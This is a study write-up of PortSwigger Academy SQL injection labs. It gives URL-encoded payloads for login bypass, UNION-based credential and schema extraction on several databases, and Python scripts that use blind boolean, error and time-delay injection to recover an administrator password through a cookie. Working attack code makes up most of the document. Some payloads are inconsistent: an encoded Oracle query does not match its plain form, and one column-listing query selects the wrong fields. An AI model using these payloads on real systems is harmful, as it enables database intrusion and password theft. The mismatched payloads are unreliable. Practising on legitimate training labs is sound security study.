PortSwigger Academy - SQL Injection Labs

Studying for my eLearnSecurity eWPTX exam I decided to solve the SQL Injection labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge.

Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.

Here is a list of the labs from Apprentice to Practitioner level:

You can find the lab list at the following link

Useful tool:

https://www.url-encode-decode.com/

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Research: Breaking the SQL statement with an OR operation.

Payload:

URL encoded form of

' OR 1=1 -- -  

is

%27+OR+1%3D1+--+-

SQL injection vulnerability allowing login bypass

Research: Simple bypass by using the administrator user name and then comment out the rest of the query.

Payload:

administrator' -- -

SQL injection UNION attack, determining the number of columns returned by the query

Research: Simply check for the number of columns with

' OR 1=1  ORDER BY 1 -- -

When we hit ORDER BY 4 we receive a server internal error.

Payload:

URL encoded form of

' UNION SELECT NULL,NULL,NULL-- - 

is

%27+UNION+SELECT+NULL%2CNULL%2CNULL--+-

SQL injection UNION attack, finding a column containing text

Research: Following the previous lab and the lab requirement to print the Eg7sMC string in the text column.

Payload:

URL encoded form of

' UNION SELECT NULL,'Eg7sMC',NULL-- -

is

%27%20UNION%20SELECT%20NULL,%27Eg7sMC%27,NULL--%20-

SQL injection UNION attack, retrieving data from other tables

Research: Following the previous lab and the lab requirement to extract the administrator password. Note: there are now two columns instead of three.

Payload:

URL encoded form of

' UNION SELECT username, password FROM users WHERE username = 'administrator' -- -

is

%27+UNION+SELECT+username%2C+password+FROM+users+WHERE+username+%3D+%27administrator%27+--+-

Final result

SQL injection UNION attack, retrieving multiple values in a single column

Research: Following the previous lab and the lab requirement to extract the administrator password. Note: there are now two columns instead of three.

Payload:

URL encoded form of

' UNION SELECT NULL, CONCAT(username,' ',password) FROM users WHERE username = 'administrator' -- -

is

%27+UNION+SELECT+NULL%2C+CONCAT%28username%2C%27+%27%2Cpassword%29+FROM+users+WHERE+username+%3D+%27administrator%27+--+-

SQL injection attack, querying the database type and version on Oracle

Research: Following the previous lab and the lab requirement to extract the Oracle banner.

Note: there are now two columns instead of three.

Resource: https://www.techonthenet.com/oracle/questions/version.php

Payload:

URL encoded form of

' UNION SELECT NULL, banner FROM v$version-- -

is

%27+UNION+SELECT+NULL%2C+banner+FROM+v%24version--+-

Final result

SQL injection attack, querying the database type and version on MySQL and Microsoft

Research: Following the previous lab and the lab requirement to extract the database version.

Note: there are now two columns instead of three.

Payload:

URL encoded form of

' UNION SELECT NULL, @@version -- -

is

%27+UNION+SELECT+NULL%2C+%40%40version+--+-

SQL injection attack, listing the database contents on non-Oracle databases

Research: Following the previous lab and the lab requirement to extract the database content.

Note: there are now two columns instead of three.

Payload:

List all databases

URL encoded form of

' UNION SELECT schema_name, NULL FROM information_schema.schemata -- -

is

%27+UNION+SELECT+schema_name%2C+NULL+FROM+information_schema.schemata+--+-

List tables from the public database

URL encoded form of

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'public' -- -

is

%27+UNION+SELECT+table_name%2C+NULL+FROM+information_schema.tables+WHERE+table_schema+%3D+%27public%27+--+-

List table columns from the users_kzqifg table

URL encoded form of

' UNION SELECT column_name , NULL FROM information_schema.columns WHERE table_schema = 'public' AND table_name= 'users_kzqifg' -- -

is

%27+UNION+SELECT+column_name+%2C+NULL+FROM+information_schema.columns+WHERE+table_schema+%3D+%27public%27+AND+table_name%3D+%27users_kzqifg%27+--+-

List content from the users_kzqifg table

URL encoded form of

' UNION SELECT username_yyfnis, password_zwiccs FROM users_kzqifg -- -

is

%27+UNION+SELECT+username_yyfnis%2C+password_zwiccs+FROM+users_kzqifg+--+-

Final result

SQL injection attack, listing the database contents on Oracle

Research: Following the previous lab and the lab requirement to extract the database content.

Note: there are now two columns instead of three.

Payload:

List all tables

URL encoded form of

' UNION SELECT table_name, NULL FROM all_tables -- -

is

%27+UNION+SELECT+DISTINCT+owner%2C+NULL+FROM+all_tables+--+-

List table columns from the users_aojahp table

URL encoded form of

' UNION SELECT owner, table_name FROM all_tab_columns WHERE table_name = 'USERS_AOJAHP' -- -

is

%27+UNION+SELECT+owner%2C+table_name+FROM+all_tab_columns+WHERE+table_name+%3D+%27USERS_AOJAHP%27+--+-

List content from the users_aojahp table

URL encoded form of

' UNION SELECT USERNAME_XXOZJN, PASSWORD_EOMJCZ FROM USERS_AOJAHP -- -

is

%27+UNION+SELECT+USERNAME_XXOZJN%2C+PASSWORD_EOMJCZ+FROM+USERS_AOJAHP+--+-

Final result

Blind SQL injection with conditional responses

Research: Following the lab instructions - we can see the cookie is vulnerable to SQLi.

The first step is to determine the password length and the second step is to determine the password itself.

Payload:

import requests

url = 'https://<Lab-ID>.web-security-academy.net/'

passwordLength = 0
loop = True
while loop:
    passwordLength = passwordLength + 1
    payload = "' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>" + str(passwordLength) + ")='a"
    cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}

    x = requests.get(url, cookies=cookies)

    if "Welcome" not in x.text:
        loop = False

    print("Password length is: " + str(passwordLength))

chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ""
for position in range(1, passwordLength  + 1):
    for char in chars:
        payload = "' AND (SELECT SUBSTRING(password," + str(position) + ",1) + FROM users WHERE username='administrator')='" + char + ""
        cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}
        x = requests.get(url, cookies=cookies)

        if "Welcome" in x.text:
            password = password + char
            print("Password is: " + password)
            break

print ("Username/Password is: administrator/" + password)

Blind SQL injection with conditional errors

Research: None. I had to look at the solution and build my own Python script to solve the challenge.

Payload:

import requests

url = 'https://<Lab-ID>.web-security-academy.net/'

passwordLength = 0
loop = True
while loop:
    passwordLength = passwordLength + 1
    payload = "'||(SELECT CASE WHEN LENGTH(password) = " + str(passwordLength) + " THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
    cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}

    x = requests.get(url, cookies=cookies)

    if "Error" in x.text:
        loop = False

    print("Password length is: " + str(passwordLength))

chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ""
for position in range(1, passwordLength + 1):
    for char in chars:
        payload = "'||(SELECT CASE WHEN SUBSTR(password," + str(position) + ",1) = '" + str(char) + "' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
        cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}

        x = requests.get(url, cookies=cookies)
        if "Error" in x.text:
            password = password + char
            print("Password is: " + password)
            break

print ("Username/Password is: administrator/" + password)

Blind SQL injection with time delays

Research: Checking the SQL cheat sheet https://portswigger.net/web-security/sql-injection/cheat-sheet and testing multiple payloads.

Payload:

<Cookie Value>'|| pg_sleep(10) || '

Blind SQL injection with time delays and information retrieval

Research: Following the previous lab(s) instructions I created a Python script to measure the execution times and extract the administrator password.

Payload:

import requests
import time
import urllib.parse

url = 'https://<Lab-ID>.web-security-academy.net/'

passwordLength = 0
loop = True
while loop:
    passwordLength = passwordLength + 1
    payload = "';SELECT CASE WHEN (username='administrator' AND LENGTH(password)=" + str(passwordLength) + ") THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--"
    cookies = {"TrackingId": "<Cookie Value>" + urllib.parse.quote(payload), "session": "<Session Cookie Value>"}

    start = time.time()
    x = requests.get(url, cookies=cookies)
    delta = time.time() - start

    if delta > 10:
        print ("Password length is: " + str(passwordLength))
        break

chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ""
for position in range(1, passwordLength + 1):
    for char in chars:
        payload = "';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password," + str(position) + ",1) = '" + str(char) + "') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--"
        cookies = {"TrackingId": "<Cookie Value>" + urllib.parse.quote(payload), "session": "<Session Cookie Value>"}

        start = time.time()
        x = requests.get(url, cookies=cookies)
        delta = time.time() - start

        if delta > 10:
            password = password + char
            print("Password is: " + password)
            if passwordLength == len(password):
                break

print ("Username/Password is: administrator/" + password)

Blind SQL injection with out-of-band interaction

Blind SQL injection with out-of-band data exfiltration

Research: These two labs require Burp Collaborator which I don't have.

Reverse engineer the solution it is pretty awesome to combine SQLi with XXE to exfiltrate data.